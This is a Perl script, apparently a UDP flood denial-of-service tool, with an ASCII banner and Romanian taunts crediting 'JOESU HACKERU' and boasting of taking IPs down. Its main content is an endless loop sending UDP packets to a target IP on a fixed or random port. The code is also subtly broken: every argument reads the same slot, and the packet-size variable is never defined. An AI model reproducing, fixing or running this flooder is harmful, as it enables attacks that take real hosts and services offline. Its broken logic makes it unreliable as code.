#!/usr/bin/perl
use Socket;
$ARGC=@ARGV;
my ($ip, $port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[0];
$time=$ARGV[0];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");


printf "##*  
     
¦¦¦¦¦¦+ ¦¦¦¦¦¦+  ¦¦¦¦¦¦+ ¦¦¦¦¦¦¦+    ¦¦¦¦¦¦+ ¦¦+   ¦¦+          
¦¦+--¦¦+¦¦+--¦¦+¦¦+---¦¦+¦¦+----+    ¦¦+--¦¦++¦¦+ ¦¦++          
¦¦¦  ¦¦¦¦¦¦  ¦¦¦¦¦¦   ¦¦¦¦¦¦¦¦¦¦+    ¦¦¦¦¦¦++ +¦¦¦¦++           
¦¦¦  ¦¦¦¦¦¦  ¦¦¦¦¦¦   ¦¦¦+----¦¦¦    ¦¦+--¦¦+  +¦¦++            
¦¦¦¦¦¦++¦¦¦¦¦¦+++¦¦¦¦¦¦++¦¦¦¦¦¦¦¦    ¦¦¦¦¦¦++   ¦¦¦             
+-----+ +-----+  +-----+ +------+    +-----+    +-+             
     ¦¦+ ¦¦¦¦¦¦+ ¦¦¦¦¦¦¦+¦¦¦¦¦¦¦+    ¦¦¦+   ¦¦+¦¦¦¦¦¦+      ¦¦+ 
     ¦¦¦¦¦+---¦¦+¦¦+----+¦¦+----+    ¦¦¦¦+  ¦¦¦¦¦+--¦¦+    ¦¦¦¦ 
     ¦¦¦¦¦¦   ¦¦¦¦¦¦¦¦+  ¦¦¦¦¦¦¦+    ¦¦+¦¦+ ¦¦¦¦¦¦¦¦¦++    +¦¦¦ 
¦¦   ¦¦¦¦¦¦   ¦¦¦¦¦+--+  +----¦¦¦    ¦¦¦+¦¦+¦¦¦¦¦+--¦¦+     ¦¦¦ 
+¦¦¦¦¦+++¦¦¦¦¦¦++¦¦¦¦¦¦¦+¦¦¦¦¦¦¦¦    ¦¦¦ +¦¦¦¦¦¦¦¦  ¦¦¦     ¦¦¦ 
 +----+  +-----+ +------++------+    +-+  +---++-+  +-+     +-+ 
                                                                
                                                                                               
 $ipn";
printf "##* Mereu JoEs nr1 Mereu JoEs e seful si tu cainele \n";
printf "##* Arhiva decat a lui JoEs LOOD by JOES hax 2016-2017 \n";
printf "##* Facuta de :  JOESU HACKERU #Nr1 @ IP DOWN \n";
                                                                

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &"); 
goto randpackets;
}
packets:
for (;;) {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
randpackets:
for (;;) {
$size=$rand x $rand x $rand;
$port=(rand 75000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}